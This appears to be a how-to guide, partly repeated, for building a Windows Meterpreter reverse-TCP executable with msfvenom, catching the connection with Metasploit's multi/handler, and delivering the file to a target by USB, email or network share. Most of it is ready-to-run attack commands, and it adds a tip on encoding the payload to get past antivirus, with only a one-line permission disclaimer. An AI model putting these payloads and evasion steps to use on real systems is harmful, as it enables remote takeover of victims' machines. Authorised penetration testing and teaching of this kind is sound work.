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Step 1 - Generate The Payload

This document outlines the steps to create and deliver a Windows payload using the msfvenom tool and set up a listener in Metasploit. It emphasizes the importance of ethical use, potential antivirus detection, and firewall considerations. The process involves generating a payload, starting a listener, and transferring the payload to the target machine for execution.

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Step 1 - Generate The Payload

This document outlines the steps to create and deliver a Windows payload using the msfvenom tool and set up a listener in Metasploit. It emphasizes the importance of ethical use, potential antivirus detection, and firewall considerations. The process involves generating a payload, starting a listener, and transferring the payload to the target machine for execution.

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Step 1: Generate the Payload

1.​ Open your terminal in Kali Linux.


2.​ Use the msfvenom tool to create a Windows payload in .exe format.
Replace YOUR_IP with your actual IP address.
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msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o
payload.exe

Explanation:
●​ -p windows/meterpreter/reverse_tcp: Specifies the payload type
(Meterpreter reverse TCP for Windows).
●​ LHOST=YOUR_IP: Replace YOUR_IP with your IP address (the attacker's IP).
●​ LPORT=4444: The port on which the listener will wait for the connection (you
can change this if needed).
●​ -f exe: Specifies the output format as an executable (.exe).
●​ -o payload.exe: Saves the output file as payload.exe.

Step 2: Start the Listener

Once the payload is created, you need to set up a listener to handle the incoming
connection from the target machine.
1.​ Open the Metasploit Framework console:
2.​ bash
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4.​ msfconsole
5.​ Use the exploit/multi/handler module to start the listener:
6.​ bash
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8.​ use exploit/multi/handler
9.​ Set the same payload, LHOST, and LPORT as used in the payload creation:
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set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST YOUR_IP
12.​set LPORT 4444
13.​Start the listener:
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16.​run
Explanation:
●​ use exploit/multi/handler: This module is used to handle incoming
connections from the payload.
●​ set PAYLOAD windows/meterpreter/reverse_tcp: Matches the payload type
used in the msfvenom command.
●​ set LHOST YOUR_IP: Your IP address (must match the one used in the
payload).
●​ set LPORT 4444: The port to listen on (must match the one used in the
payload).
●​ run: Starts the listener and waits for the target to execute the payload.

Step 3: Deliver the Payload

Transfer the payload.exe file to the target machine (e.g., via USB, email, or network
share). Once the target executes the file, the listener in Metasploit will establish a
Meterpreter session.

Important Notes:

1.​ Ethical Use: Only use this on systems you own or have explicit permission to
test.
2.​ Antivirus Detection: Most modern antivirus programs will detect and block
this payload. You may need to use obfuscation or encoding techniques to
bypass detection (e.g., using shikata_ga_nai encoder with msfvenom).
3.​ Firewall: Ensure the target machine can reach your LHOST IP and port (4444 or
any other port you choose).

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